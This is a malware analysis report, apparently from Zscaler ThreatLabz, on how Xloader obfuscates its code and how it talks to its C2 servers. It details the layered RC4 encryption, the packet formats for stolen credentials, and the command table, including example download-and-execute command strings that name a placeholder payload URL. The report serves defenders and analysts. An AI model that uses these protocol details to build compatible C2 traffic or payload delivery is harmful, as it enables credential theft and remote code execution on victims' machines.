惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

aimingoo的专栏
aimingoo的专栏
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
博客园_首页
Recent Announcements
Recent Announcements
A
About on SuperTechFans
云风的 BLOG
云风的 BLOG
T
Troy Hunt's Blog
F
Fortinet All Blogs
Webroot Blog
Webroot Blog
S
Secure Thoughts
D
Docker
Attack and Defense Labs
Attack and Defense Labs
博客园 - 叶小钗
H
Heimdal Security Blog
S
Security Affairs
Microsoft Azure Blog
Microsoft Azure Blog
The GitHub Blog
The GitHub Blog
T
Tenable Blog
I
InfoQ
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
L
LangChain Blog
Project Zero
Project Zero
Cyberwarzone
Cyberwarzone
NISL@THU
NISL@THU
有赞技术团队
有赞技术团队
AWS News Blog
AWS News Blog
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
IT之家
IT之家
Vercel News
Vercel News
www.infosecurity-magazine.com
www.infosecurity-magazine.com
C
CXSECURITY Database RSS Feed - CXSecurity.com
T
Threatpost
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
Forbes - Security
Forbes - Security
博客园 - 聂微东
Security Latest
Security Latest
T
Threat Research - Cisco Blogs
Latest news
Latest news
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
Stack Overflow Blog
Stack Overflow Blog
Cloudbric
Cloudbric
Google DeepMind News
Google DeepMind News
C
CERT Recently Published Vulnerability Notes
N
Netflix TechBlog - Medium
酷 壳 – CoolShell
酷 壳 – CoolShell
T
The Blog of Author Tim Ferriss
J
Java Code Geeks
C
Check Point Blog
Recorded Future
Recorded Future
Jina AI
Jina AI

Security Research | Blog

Targeted Attack on Middle East Govts (Part 1) | ThreatLabz ClaudeFix: Shared Claude Chats Meet ClickFix | Zscaler Why Do F1 Teams Need Cybersecurity, and What Is AI’s Role? Indirect Prompt Injection Targets AI Agents | ThreatLabz Splunk Enterprise RCE (CVE-2026-20253) | ThreatLabz Edgecution: Malicious Edge Extension Backdoor | ThreatLabz SmartApeSG Supply Chain Attack Targets Okendo | ThreatLabz AI Generated ClickFix Attack Delivers SmartRAT | ThreatLabz What the ThreatLabz 2026 Phishing and Initial Access Report Means for the Public Sector | Zscaler Shai-Hulud: Miasma, Hades, & AI Scanner Evasion | ThreatLabz Zscaler ThreatLabz 2026 Phishing and Initial Access Report Technical Analysis of MLTBackdoor | ThreatLabz When the Scanner Starts Thinking: Learnings from Mythos & GPT 5.5 Cyber in Security Testing | Zscaler OpenClaw Skill Distributes Remcos & GhostLoader | ThreatLabz Tropic Trooper: AdaptixC2 + Custom Beacon | ThreatLabz Do not delete blog (testing) | Zscaler Payouts King Takes Aim at the Ransomware Throne | ThreatLabz The Alibaba Incident and Why Zero Trust Matters More Than Ever In-Memory Loader Drops ScreenConnect | ThreatLabz Supply Chain Attacks Surge in March 2026 | ThreatLabz Claude Code Leak: Critical AI Security Threat 2026 CVE-2026-20131: Analysis of FMC RCE | ThreatLabz Technical Analysis of SnappyClient | ThreatLabz China-nexus Group Targets Arabian Gulf Region | ThreatLabz Middle East Conflict Fuels Cyber Attacks | ThreatLabz Dust Specter APT Targets Gov’t Officials in Iraq | ThreatLabz APT37 Adds New Tools For Air-Gapped Networks | ThreatLabz GuLoader Malware Obfuscation Techniques Analyzed GuLoader Obfuscation Analysis | ThreatLabz Technical Analysis of Marco Stealer | ThreatLabz Latest Public Sector AI Adoption Trends: What Government, Healthcare, and Education Security Teams Need to Know | Zscaler Operation Neusploit: APT28 Uses CVE-2026-21509 | ThreatLabz 7 Predictions for 2026 | Zscaler SHEETCREEP, FIREPOWER, and MAILCREEP Analysis | ThreatLabz AI is Now Default Enterprise Accelerator: Takeaways from ThreatLabz 2026 AI Security Report | Zscaler GOGITTER, GITSHELLPAD, and GOSHELL Analysis | ThreatLabz Malicious NPM Packages Deliver NodeCordRAT | ThreatLabz What’s Powering Enterprise AI in 2025: ThreatLabz Report Sneak Peek | Zscaler BlindEagle Deploys Caminho and DCRAT | ThreatLabz Technical Analysis of the BlackForce Phishing Kit | ThreatLabz React2Shell RCE Vulnerability (CVE-2025-55182) | ThreatLabz Shai-Hulud V2 Poses Risk to NPM Supply Chain | ThreatLabz Technical Analysis of Matanbuchus 3.0 | ThreatLabz In-Depth Analysis: Water Gamayun APT Multi-Stage Attack Uncovered CVE-2025-50165: Windows Graphics Component Flaw | ThreatLabz Mobile, IoT, and OT Risks Converge in the Public Sector | Zscaler Industry Attacks Surge, Mobile Malware Spreads: The ThreatLabz 2025 Mobile, IoT & OT Report | Zscaler Zscaler Discovers Vulnerability in Keras Models Allowing Arbitrary File Access and SSRF (CVE-2025-12058) | Zscaler F5 Security Incident Advisory | Zscaler Under the Radar: How Non-Web Protocols Are Redefining the Attack Surface | Zscaler SEO Poisoning Targets Ivanti VPN: Credential Theft Alert Cisco Firewall and VPN Zero Day Attacks | ThreatLabz COLDRIVER Adds BAITSWITCH and SIMPLEFIX | ThreatLabz YiBackdoor: Linked to IcedID and Latrodectus | ThreatLabz Technical Analysis of Zloader Updates | ThreatLabz Mitigating Risks from the Shai-Hulud NPM Worm | ThreatLabz Malicious PyPI Packages Deliver SilentSync RAT | ThreatLabz Technical Analysis of SmokeLoader Version 2025 | ThreatLabz Technical Analysis of kkRAT | ThreatLabz APT37: Rust Backdoor & Python Loader | ThreatLabz Anatsa’s Latest Updates | ThreatLabz Termncolor and Colorinal Explained | ThreatLabz GenAI Used to Impersonate Brazil’s Govt Websites | ThreatLabz Tracking Updates to Raspberry Robin | ThreatLabz Ransomware Surges, Extortion Escalates: ThreatLabz 2025 Ransomware Report | Zscaler China-nexus APT Targets the Tibetan Community | ThreatLabz CVE-2025-53770 | ThreatLabz Black Hat SEO Poisoning Search Engine Results For AI | ThreatLabz
Latest Xloader Obfuscation Code & C2 Protocol | ThreatLabz
ThreatLabz · 2026-03-31 · via Security Research | Blog

Technical Analysis

In the following sections, ThreatLabz describes the key code updates introduced in Xloader from version 8.1 onward and the current network communication protocol. It is important to note that Xloader is a rebranded version of FormBook. Therefore, many parts of Xloader contain tangled legacy code that is not used.

Code obfuscation

Throughout Xloader’s development, the authors have used obfuscation at different stages of execution, such as:

  • Encrypted strings that are decrypted at runtime.
  • Encrypted code blocks consisting of functions that are decrypted at runtime and re-encrypted after execution.
  • Opaque predicates in combination with bitwise XOR operations to decrypt integer values.

Xloader still relies on the obfuscated methods listed above with some additional modifications, which are described below.

Functions decryption routine

As previously documented, Xloader detects and decrypts each necessary function at runtime. This process involves constructing and decrypting two “eggs”, which mark the start and end of the encrypted function data. The function responsible for decrypting the encrypted functions at runtime has its parameters constructed on the stack. Starting with version 8.1, Xloader builds each parameter without following a specific order and, in some cases, builds each parameter byte by byte.

The figure below shows an example of Xloader constructing the eggs prior to version 8.1 (top) with a consistent size and ordering, compared to the latest versions of Xloader (bottom) constructing the egg parameters out of order with varying chunk sizes before calling the decrypt function.

Comparison of Xloader egg construction for function decryption.

Figure 1: Comparison of Xloader egg construction for function decryption.

Even though these changes may seem minor, they have a significant impact on automation tooling. Since the order of the encrypted starting and ending arrays are no longer set, the function’s memory layout needs to be reconstructed properly to perform analysis and extract values, as typical pattern matching would not be able to assist. As a result, extracting these values at an assembly level becomes a tedious task. One tool that can be used when analyzing these changes is the Miasm framework, which can statically lift the obfuscated code and reconstruct the stack properly.

Code obfuscation and opaque predicates

Starting with version 8.1, Xloader introduced more sophisticated obfuscation for hardcoded values and specific functions. Constant value obfuscation was present in previous versions of Xloader, but it was employed in much simpler cases. An example of an early, simpler constant obfuscation routine is shown below.

var1 = 190;
// Sets var1 memory pointer to 0
erase_data_if(&var1, sizeof(var1));
if ( var1 == 0x91529F54 )
out = 0; // Never executed
else
out = (out + 0x6EAD60AC) ^ 0x6C69DE1C; // result: 0x02c4beb0

In the latest versions, Xloader encrypts additional constant values. For instance, when adding the typical assembly function prologue bytes (followed by a series of NOP instructions) for a decrypted function, Xloader now decodes the prologue bytes using a bitwise XOR operation, as shown in the figure below.

An example of Xloader’s function prologue bytes obfuscation.

Figure 2:  An example of Xloader’s function prologue bytes obfuscation.

In addition to the enhancements described above, the custom decryption routine that Xloader uses to decrypt data is now obfuscated. The unobfuscated custom decryption function prior to version 8.1 is shown below.

Xloader’s custom decryption routine prior to version 8.1.

Figure 3: Xloader’s custom decryption routine prior to version 8.1.

In the latest versions, Xloader passes a structure parameter that includes hardcoded values. The obfuscated function reads each required structure member and decrypts each value. In the figure below, Xloader decrypts the Substitution Box (S-box) size by reading the value 0x25 from the structure passed to the function and adds 0xDB (line 39 in the decompiled obfuscated function shown in the figure below).

Xloader’s obfuscated custom decryption routine since version 8.1.

Figure 4: Xloader’s obfuscated custom decryption routine since version 8.1.

Network communication

At a high level, Xloader has two main objectives. First, to exfiltrate user credentials and sensitive information from the compromised host. These include passwords and cookies from various software applications such as internet browsers (e.g. Google Chrome) and email clients (e.g. Microsoft Outlook). Second, to execute arbitrary commands including downloading and executing additional payloads. In this section, we examine how Xloader performs these network-based actions.

Network protocol and encryption

Xloader has two methods for sending an HTTP request to the C2 that produce the same network traffic output but with a different User-Agent HTTP header. Depending on a pre-configured boolean flag, Xloader uses: 

  • Raw TCP sockets where the User-Agent may vary from sample to sample and tries to mimic common browser User-Agent values.
  • WinINet API functions (e.g. HttpSendRequest) where the User-Agent is set to Windows Explorer and is the same across all samples.

For raw TCP sockets, Xloader confirms that the Windows API function gethostbyname is not inline-hooked by comparing the first byte of the API function with the following values.

  • 0xE9 - Near JMP instruction.
  • 0xEA - Far JMP instruction.
  • 0xCC - INT3 instruction.

If there is a hook detected, Xloader does not send the HTTP request. There are two primary threads for network communication:

  • In all cases, the first thread is used to prepare exfiltrated data and encrypt any outgoing network packets. If the boolean flag for raw TCP sockets is true, Xloader uses this thread to send the exfiltrated data and request commands.
  • Otherwise, a second thread is used to send HTTP requests with the WinINet API functions.

Internally, Xloader’s code uses request IDs for C2 communication, which are described in the table below.

Internal Request ID

Description

3

HTTP POST requests sent to the C2 server containing exfiltrated credentials.

6

HTTP GET requests sent to the C2 server containing PKT2 messages.

Table 1: Xloader internal request IDs.

ANALYST NOTE: Despite not being used, Xloader does support a set of additional internal request IDs. These are 7, 8, 9, 10, and 12. ThreatLabz believes that the additional request IDs are part of legacy code.

Despite using plaintext HTTP requests for network communication, Xloader uses a combination of multiple encryption layers with different keys for encrypting network traffic as shown in the table below.

RC4 Key Name

Internal Request ID(s)

Description

First PKT2 RC4 key

6

Encrypts PKT2 data (described below).

Second PKT2 RC4 key

6

Encrypts the full PKT2 data, which includes the magic header XLNG.

HTTP GET packets RC4 key

6

Encrypts all HTTP GET requests before sending them. Xloader only uses this key for the outgoing PKT2 data.

C2 URL key

3 and 6

Encrypts the message with the SHA1 hash of the C2 URL.

C2 URL RC4 seed 

3 and 6

Xloader uses these seed values to derive new keys based on the C2 URL to encrypt/decrypt network data. Xloader deliberately decrypts the key at different execution phases in an attempt to complicate analysis.

Table 2: Summary of Xloader network communication encryption layers.

Network encryption for Xloader versions 8.1 and onward is similar to recent versions. Xloader uses a set of decoy C2 servers to mask the real malicious C2 servers. Xloader includes a total of 65 C2 IP addresses that are individually decrypted only when they are used at runtime. Xloader randomly chooses 16 C2 IP addresses and starts sending HTTP requests (both internal request IDs 3 and 6 mentioned in Table 1). Xloader repeats this process until all C2 servers have been contacted. This makes it difficult for malware sandboxes to differentiate decoys from the real C2 servers. Thus, the only way to determine the real C2 servers is to first establish a network connection with each C2 address (e.g. by network emulation) and verify the response.

ANALYST NOTE: For the rest of the blog, encryption/decryption refers to the RC4 cipher algorithm and encoding/decoding refers to the Base64-encoding algorithm, unless otherwise specified.

As mentioned above, Xloader sends an HTTP GET request to the C2 server to retrieve a network command. The packet contains the following information.

  • A magic header set to XLNG.
  • A 8-byte hexadecimal string, which is the bot ID.
  • Xloader version in a string format (e.g. 8.5).
  • Windows version (e.g. Windows 10 Pro x64).
  • Hostname and username in Base64-encoded format.

Xloaders encrypts the packet using the first PKT2 RC4 key and then encodes the packet. Next, Xloader prepends the string PKT2: to the encoded packet and encrypts it using the second PKT2 RC4 key.

Xloader has a dedicated function to prepare network data before sending it to the C2. Depending on the request type (Table 1), Xloader uses a different encryption chain and set of HTTP headers. 

For HTTP GET requests, Xloader encrypts the network data in the order outlined below. 

  • Xloader uses a hardcoded RC4 key for the first encryption layer.
  • Xloader encrypts the data by using the SHA-1 hash of the C2 URL as a key.
  • Xloader derives a new RC4 key by decrypting the C2 URL network seed with the SHA-1 hash of the C2 URL as a key. The decryption algorithm is custom and has already been documented. Xloader uses the derived key to encrypt the network data.
  • As a final step, Xloader encodes the encrypted data and prepends the hardcoded string &dat=, even though this string value is stripped (and therefore not sent).

Xloader uses HTTP GET requests solely for PKT2 requests. Notably, the RC4 key of the first encryption layer is the same as the key used when preparing the PKT2 packet. As a result, this layer of encryption does not make any meaningful changes in the final output of the network data. ThreatLabz has observed this behaviour across all samples since at least version 7.9.

ANALYST NOTE: When Xloader uses high level Windows API functions (e.g. HttpSendRequest) instead of raw sockets for network communication, the Base64-encoded data includes the parameter query &wn=1 at the end.

Lastly, Xloader generates two random alphanumeric query parameter names that are placed in the generated GET request URI. One of them is used for the encoded data value. The size ranges of the parameter names change per sample. The position of the data’s query parameter is randomly selected (based on a flag deduced from the victim’s’s system time) and can be placed at the start or end of the URI. For example: {random_parameter1}={encoded_data}&{random_parameter2}={random_parameter2_junk_data}.

Additionally, Xloader collects credentials and cookies from the victim’s system. Xloader sends the stolen data using HTTP POST requests. The encryption process and data structure remain mostly the same but with some minor differences as described below: 

  • Xloader does not use the hardcoded RC4 key for encryption and completely ignores this encryption layer. Instead, Xloader encrypts the data using the SHA-1 hash of the C2 URL as a key followed by a secondary encryption layer with a key derived from the C2 URL seed.
  • Xloader proceeds to encode the data. However, the characters “+”, “/” and “=” are replaced with “-”, “_”, and “.”, respectively.
  • Xloader repeats the same encryption process described in the previous steps.
  • The data resulting from the previous operation is encoded (without modifying the output this time).
  • Xloader uses a different format for the constructed POST request data. In this case, the format is “dat=” + final_base64_encoded_data + "&un=" + base64_encoded_host_info + "&br=9”.

Network commands

Xloader receives and parses network command packets only after sending HTTP GET requests. After a response is received, Xloader internally constructs a data structure that includes the data received and its size, along with the corresponding RC4 decryption key, as shown below.

struct parsed_network_packet
{
 uint32_t  packet_flag_marker; // Set to 1 after reading all network data.
 uint32_t  sizeof_data; // Total size of network data received.
 uint8_t   packet_rc4_key[20]; // RC4 key for decrypting the network data.
 uint32_t  unknown;
 uint8_t*  data;
};

Similar to the outgoing network packets, Xloader uses the SHA-1 hash of the C2 URL as an RC4 key in order to derive a second key from the C2 URL network seed. Next, Xloader decodes the network data and decrypts it twice with two different keys. In the first instance, Xloader uses the SHA-1 hash of the C2 URL as an RC4 key, while in the second case Xloader uses the derived RC4 key. The decrypted packet contains a network command ID to execute and parameters (if any). The data structure for Xloader’s commands is shown below.

#pragma pack(1)
struct command_packet
{
 char   magic[4]; // Set to XLNG
 char   cmd_id;
 char*  command_data;
};

ANALYST NOTE: When Xloader uses the high level WinINet functions, it checks if the currently chosen C2 index matches a hardcoded value (e.g. 9). If there is a match, Xloader uses the SHA-1 hash of the C2 URL as an RC4 key. If there isn’t a match, Xloader leaves the field empty causing the decryption of any network packets to fail. However, when using Windows raw TCP sockets, Xloader uses that RC4 key without performing any further checks.

The table below shows Xloader’s network commands.

Command ID

Description

1

Executes one of the following file types.

  • PowerShell script.
  • Windows executable (EXE) file.
  • Windows DLL file.

2

Updates Xloader.

3

Xloader removes itself from the compromised host.

4

Depending on the command parameter field, Xloader performs one of the following actions.

  • If the parameter is RMTD, then Xloader downloads and executes a PowerShell script. The payload location is specified in the network command packet. For example: XLNG4RMTD:https://payload_url/payload.ps1XLNG.
  • If the parameter is RMTU, then Xloader downloads and executes a Windows executable (EXE) file. Similarly, the remote location of the payload is included in the network packet. For example: XLNG4RMTU:https://payload_url/payload.binXLNG.

If no parameters are passed, then Xloader executes the file specified in the command parameter. For example: XLNG4C:\\payload.exeXLNG.

5

Remove browser cookies.

6

Invokes Xloader’s credential stealing capabilities.

7

Reboots the compromised host.

8

Shuts down the compromised host.

9

Not implemented. Across all samples, the functionality of this command corresponds to a function with the assembly instructions XOR EAX,EAX and RET.

Table 3: Xloader’s network commands.